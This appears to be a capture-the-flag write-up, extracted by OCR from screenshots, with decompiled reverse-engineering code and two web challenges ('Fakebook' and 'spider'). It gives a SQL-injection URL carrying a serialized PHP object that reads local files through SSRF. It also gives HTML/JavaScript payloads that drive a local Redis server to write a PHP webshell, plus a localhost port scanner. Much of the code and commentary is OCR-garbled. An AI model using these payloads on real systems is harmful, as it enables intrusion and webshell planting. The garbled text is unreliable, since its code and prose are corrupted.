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minified
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int _ cdecl main()

{

char vo; // al
char v1; // al
char v2; // al
char v3; // al
char v4; // al
char v5; // al
char v6; // al
char v7; // al
char v8; // al
char v9; // al
char v10; // al
char v11; // al
char v12; // al
char v13; // al
char v14; // al
char v15; // al
char vi6; // al
char v17; // al
char v18; // al
char v19; // al
char v20; // al

v@ = sub_8048460(dword_804A03C);
printf("%c", vo);
fflush(stdout);

vl = sub_8048460(dword_804A044);
printf("%c", vl1);
fflush(stdout);

v2 = sub_8048460(dword_804AQEQ);
printf("%c", v2);
fflush(stdout);

v3 = sub_8048460(dword_804A050);
printf("%c", v3);

// 6

// 9

/] ??

/11




fflush(stdout);

v4 = sub_8048460(dword_804A058);
printf("%c", v4);

fflush(stdout);

v5 = sub_8048460(dword_804A0E4);
printf("%c", v5);

fflush(stdout);

v6 = sub_8048460(dword_804A064);
printf("%c", v6);

fflush(stdout);

v7 = sub_8048460(dword_804AQES8);
printf("%c", v7);

fflush(stdout);

v8 = sub_8048460(dword_804A070);
printf("%c", v8);

fflush(stdout);

v9 = sub_8048460(dword_804A078);
printf("%c", v9);

fflush(stdout);

v10 = sub_8048460(dword_804A089) ;
printf("%c", v10);
fflush(stdout);

vll = sub_8048460(dword_804A088);
printf("%c", v11);
fflush(stdout);

v12 = sub_8048460(dword_804A090);
printf("%c", v12);
fflush(stdout);

v13 = sub_8048460(dword_804A098);
printf("%c", v13);
fflush(stdout);

v1l4 = sub_8048460(dword_804A0A0);
printf("%c", vi4);
fflush(stdout);

v15 = sub_8048460(dword_804A0A8);
printf("%c", v15);
fflush(stdout);

v1l6 = sub_8048460(dword_804A0B0O);
printf("%c", v16);
fflush(stdout);

v17 = sub_8048460(dword_864A0BS);
printf("%c", v17);
fflush(stdout);

v18 = sub_8048460(dword_864A0CH);
printf("%c", v18);
fflush(stdout);

v19 = sub_8048460(dword_804A0C8);
printf("%c", v19);
fflush(stdout);

v20 = sub_8048460(dword_804A0D0);
printf("%c", v20);
fflush(stdout);

printf("\n");

return 0;

Fi&sub_8048460/1 A5, JFEEHEs

// a

[/ ??

// 8

[/ ?2

// b

/12

// 3

//d

/] 4

//5

/]2

/17

// 3

// 1

// c
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int _ cdecl sub_8048460(int al)

{
char v2; // [esp+Fh] [ebp-1h]

switch ( al )
{
case 0:
v2 = byte_804A021 ~ byte 804A020; // 4c ™ 61
break;

case 1:
v2 = byte_804A023 ~ byte 804A022; // 59 *~ 67
break;

case 2:
v2 = byte_804A025 " byte 804A024; // 29 ~ 69
break;

case 3:
v2 = byte_804A027 ™ byte 804A026;
break;

case 4:
v2 = byte_804A029 ™ byte_ 804A028;
break;

case 5:
v2 = byte 804A02B ™ byte 804A02A;
break;

case 6:
v2 = byte_804A02D ~ byte_804A02C;
break;

case 7:
v2 = byte_804A02F ~ byte_804A02E;
break;

case 8:
v2 = byte_804A031 ~ byte_804A030;
break;

case 9:
v2 = byte_804A033 ~ byte_804A032;
break;

case 10:
v2 = byte_804A035 ~ byte_804A034;
break;

case 11:
v2 = byte_804A037 ~ byte_804A036;
break;

case 12:
v2 = byte_804A039 ~ byte_804A038;
break;

case 13:
v2 = byte_804A03B ~ byte_804A03A;
break;

default:
v2 = 0;
break;

}

return v2;
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.data
.data
.data
.data

.data:
:0804A025
:0804A026
:0804A027
:0804A028
:0804A029
:0804A02A
:0804A02B
:0804A02C
:0804A02D
:0804A02E
:0804A02F
:0804A030
:0804A031
:0804A032
:0804A033
:0804A034
:0804A035
:0804A036
:0804A037
108041038
:0804A039
:0804A03A
:0804A03B

.data
.data
.data
.data
.data
.data
.data
.data
.data
.data
.data
.data
.data
.data
.data
.data
.data
.data
.data
.data
.data
.data
.data

:0804A020
:0804A021
:0804A022
:0804A023

0804A024
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byte 804A020
byte_804A021
byte_804A022
byte 804A023
byte_804A024
byte 804A025
byte 804A026
byte 804A027
byte 804A028
byte 804A029
byte 804A02A
byte 804A02B
byte_804A02C
byte 804A02D
byte 804A02E
byte 804A02F
byte 804A030
byte 804A031
byte 804A032
byte 804A033
byte 804A034
byte 804A035
byte 804A036
byte 804A037
byte 804A038
byte 804A039
byte 804A03A
byte 804A03B

db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db

61h
4Ch
67h
59h
69h
29h
6Eh
42h
62h
oDh
65h
71h
66h
34h
6Ah
oC6h
6Dh
8Ah
6Ch
7Fh
7Bh
OAEh
7Ah
92h
7Dh
OECh
5Fh
57h

; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA
; DATA

XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:

siflag. ERXEG=LAAMELEREBWITT, T TABEAERRA:

sub_8048460:1oc_804848CTr
sub_8048460+331r
sub_8048460:1oc_80484A61r
sub_8048460+4D1r
sub_8048460:1oc_80484CO1r
sub_8048460+671r
sub_8048460:1oc_80484DATr
sub_8048460+811r
sub_8048460:1oc_80484F4tr
sub_8048460+9B1Tr
sub_8048460:1oc_804850Etr
sub_8048460+B51r
sub_8048460:1oc_80485281r
sub_8048460+CF1Tr
sub_8048460:1oc_80485421r
sub_8048460+E91r
sub_8048460:1oc_804855CTr
sub_8048460+1031r
sub_8048460:1oc_80485761r
sub_8048460+11D1r
sub_8048460:1oc_80485901r
sub_8048460+1371r
sub_8048460:1oc_80485AATr
sub_8048460+1511r
sub_8048460:1oc_80485C41Tr
sub_8048460+16BTr
sub_8048460:1oc_80485DETr
sub_8048460+185Tr



#!/usr/bin/env
# coding:utf-8

dirs = {
"Q":0x61,
"1":0x67,
"2":0Xx69,
"3":0x6e,
"4":0x62,
"5":0X65,
6" :0x66,
7" :0x6a,
"8":0x6d,
9":0x6cC,
'a":0x7b,
b":0x7a,
"c":0x7d,
"d":0x5f

'69{a}1a{b}8{c}b231d4527231c"

iput
ostr =
fuzzstr = "0123456789abc"

for x in fuzzstr:
for y in fuzzstr:
for z in fuzzstr:
iputl = iput.format(a=x,b=y,c=z)
print "[*] orders =",iputl,
for i in iputl:
ostr += chr(dirs[i])

print ostr+

[*] orders = 69clac8cb231d4527231c flag{amazing_beijing}

Process finished with exitjcode ©
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FakeBook

I TE B — AN EREM— NI, THMZEFIREREH R

the Fakebook
=)

Share your stories with friends, family and friends from all over the world on Fakebook.

# username age blog

% join —F, FEMEEM—MKS, T E7Ebloghr N B K P ki ik



Join

username test
passwd : .
age: 1
blog :

www.baidu.com

SR JEFE R DA P B3 R B2 I #blogithik, 125 1 5E - SSRF

username age blog

test 1 www.baidu.com

the contents of his/her blog \ /

ERMAGEXNEM, FNEANIEREHET, XREFABAnT AN T FEE, I RFul, —h
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url = http://9a10f97dd42644ba9110d696d10a8ba0e691bb587355413c.game.ichungiu.com/view.php?no=1
BanoZ R —MEAR, TH/EEH#E T robots.txt, 52 /5F 2]

Disallow: /user.php.bak

Sitemap: http://domain.com/sitemap.xml
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http://9a10f97dd42644ba9110d696d10a8ba0e691bb587355413c.game.ichunqiu.com/view.php?no=1

<?php

class UserInfo

{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
¥
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg match("/~(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i",
}
}

MR E—F, {5 —RBEWIEPOC



<?php
class UserInfo

{

public $name = "hacker";

public $age = 0;

public $blog = "file:///var/www/html/flag.php";
}

$a = new UserInfo;
echo serialize($a);

AT EREF I TR

0:8:"Userlnfo":3:{s:4:"name";s:6:"hacker";s:3:"age";i:0;s:4:"blog";s:29:"file:///varimww/html/flag.php";}

MRIEHsqmap R TIEAN B, DNidFETIE:

Hois 4]
4 111}
username age bleg
2 0 filex// fvarfwww/html/flag.php

the contents of his/her blog
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http://9a10f97dd42644ba9110d696d10a8ba0e691bb587355413c.game.ichunqiu.com/view.php?no=-1/**/union/**/select/**/1,2,3,%2527O:8:%2522UserInfo%2522:3:%257Bs:4:%2522name%2522;s:6:%2522hacker%2522;s:3:%2522age%2522;i:0;s:4:%2522blog%2522;s:29:%2522file:///var/www/html/flag.php%2522;%257D%20%2527%20%2523

data:text/html;base64,PD9waHANCgOKJGZsYWcgPSAiZmxhZ3s5YzZhMzJiYi0zOD Q5L TRIOGMtOGRIOC 1kZDZmNWM

4 | I | 3

B J5 Base64/#1% 15 2lflag

$flag = "flag{Oc6a32bb-3849-4e8c-8db8-ddAf5c 23102}
exit(0);

RO EMIIEEHEE T HRKT

¢iframe src="data:text/html;basebs4,PDIwaHAN..MyMzFJOTI9IjsNCmV4aXQoMCk7DQo=" width="188%" height="18em">
#document
<l--?php $flag = "flag{9c6a3i2bb-3849-4e8c-B8db8-dd6f5c231c92}"; exit(@);-->
<html>(<)</html>

spider
XBEREAM, LRI ENEWpEILK .

LR AT 53T S5

HTMLX R,

SR AtrFHEH AR innerHTML

FIFEA A #BAFITE, FAF—B: 15 2lrobots.txt3C

User-agent: *
Disallow: /get_sourcecode

Vi XA FR R I NOT 127.0.0.17, thigIPFTR, WP_LEEHAaxkiEEE, HAH T Hhtmif



<a href="" id="flag">test</a>
<script type="text/javascript">

function loadXMLDoc ()

{
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200){
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET", "http://127.0.0.1:80/get_sourcecode",true);
xmlhttp.send();
}
loadXMLDoc();
</script>
TERIBR AT ST s

HTMLITH B, | FEEEE.

AR URL: http://127.0.0.1:80/upload/e4541fc8-a55e-11e8-0267-0242ac110013.htm|
#fusr/bi / python
# -*- encoding: utf-8 -*-

from flask import Flask, request
from flask import render_template
import os

import uuid

import tempfile

URL: http://127.0.0.1:80/upload/e4541fc8-a55e-11e8-9267-0242ac110013.html
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from flask import Flask, request
from flask import render_template
import os

import uuid

import tempfile

import subprocess

import time

import json

app = Flask(__name__ , static_url_path="")

def proc_shell(cmd):
out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
fileno = out_temp.fileno()
proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
start_time = time.time()



while True:
if proc.poll() == None:
if time.time() - start_time &gt; 30:
proc.terminate()
proc.kill()
proc.communicate()
out_temp.seek(0)
out_temp.close()
return
else:
time.sleep(1)
else:
proc.communicate()
out_temp.seek(0)
data = out_temp.read()
out_temp.close()
return data

def casperjs_html(url):
cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp
cmd = cmd.split(' ')
stdout = proc_shell(cmd)
try:
result = json.loads(stdout)
links = result.get('resourceRequestUrls")
return links
except Exception, e:
return []

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html")
else:
f = request.files['file']
filename = str(uuid.uuidi()) + '.html’'
basepath = os.path.dirname(__file )
upload_path = os.path.join(basepath, 'static/upload/', filename)
content = f.read()
#hint
if 'level=low_273eaclc' not in content and 'dbfilename' in content.lower():
return render_template('index.html', msg=u'Warning: RILEEKEF')
#hint
with open(upload_path, 'w') as f:
f.write(content)
url = 'http://127.0.0.1:80/upload/"'+filename
links = casperjs_html(url)

links = '\n'.join(links)
if not links:
links = "NULL®
links = "URL: "+url+'\n'+links

return render_template('index.html', links=1links)

@app.route('/get_sourcecode', methods=["'GET', 'POST'])
def get_code():
if request.method == 'GET':
ip = request.remote_addr
if ip != '127.0.0.1"':
return 'NOT 127.0.0.1°'
else:



with open(os.path.dirname(__file_ )+'/run.py') as f:
code = f.read()
return code
else:

return

@app.errorhandler(404)
def page_not_found(error):
return '404'

@app.errorhandler(500)
def internal_server_error(error):
return '500'

@app.errorhandler(403)

def unauthorized(error):
return '403'

if _name__ == '__main__"':
pass

MiX BB —AR: @ TredisfRS, EREM R O KEEFRAE ZKP6379. FIUUWPEmEEFHES
webshelli#t 2 B 15 W iX 4~shellit 2 T »

5 A\ MizEshell ¥rhtml:

<--15 Ashell-->
<a id="flag">123</ a>
level=1low_273eaclc
<script>
var xmlHttp;
if(window.XMLHttpRequest){

xmlHttp = new XMLHttpRequest();

}
elseq{

xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}

var formData = new FormData();

formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shelll23.ph
xmlHttp.open("POST", " "http://127.0.0.1:6379",true);

xmlHttp.send(formData);

</script>



<--13Hshell-->
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc (){
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)

{
document.getElementById("flag").innerHTML=xmlhttp.responseText;

}
xmlhttp.open("GET", "http://127.0.0.1:8000/shell123.php?_=flag.php",true);

xmlhttp.send();
}
loadXMLDoc();
</script>

g O B html:

<a id="result"></a>

<script>

var data = document.getElementById('result').innerHTML;

var TagName = document.getElementsByTagName("body")[0];

ports=[80,81,88,6379,8000,8080,8088];

for(var i in ports){
var script = document.createElement("script");
poc = "data += '" + ports[i] + " OPEN; '; document.getElementById('result').innerHTML = data;"
script.setAttribute("src","http://127.0.0.1:" + ports[i]);
script.setAttribute("onload"”, poc);
TagName.appendChild(script);

}

</script>

</script>

TR EATHTR S

HTML3Z# HE... | FEEETH

SR URL: http://127.0.0.1:80/upload/d1c66164-a567-11e8-802b-0242ac110019.html|
pwn<l-
level=low_273eaclic
<script>
var xmlHttp;
iffwindow. XMLHttpRequest){

xmlHttp = new XMLHttpRequest();

|sef



HTML3Z % FIEFEF.

HTEER URL: http://127.0.0.1:80/upload/1724e762-a568-11e8-802b-0242ac110019.html
REDIS0006§ @ Ll@Y

<l--?php
$flag = flag{1958b66c-9272-4768-ad6f-5fd52acec898);
>

|
obllvlleo e
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